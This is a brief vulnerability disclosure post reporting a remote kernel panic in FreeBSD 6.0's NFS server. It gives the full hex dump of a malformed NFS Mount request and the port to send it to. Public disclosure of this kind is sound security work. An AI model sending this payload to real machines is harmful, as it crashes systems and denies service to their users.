Hi,
ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel.
The hex dump of NFS Mount request:
"""
80 00 00 00 00 00 00 01 00 00 00 00 00 00 00 02
00 01 86 a5 00 00 00 01 00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04
2f 74 6d 70
"""
To trigger the bug, send the above request to 2049 TCP port
of a FreeBSD machine running nfsd.
FreeBSD team has been notified more than two weeks ago.
Regards,
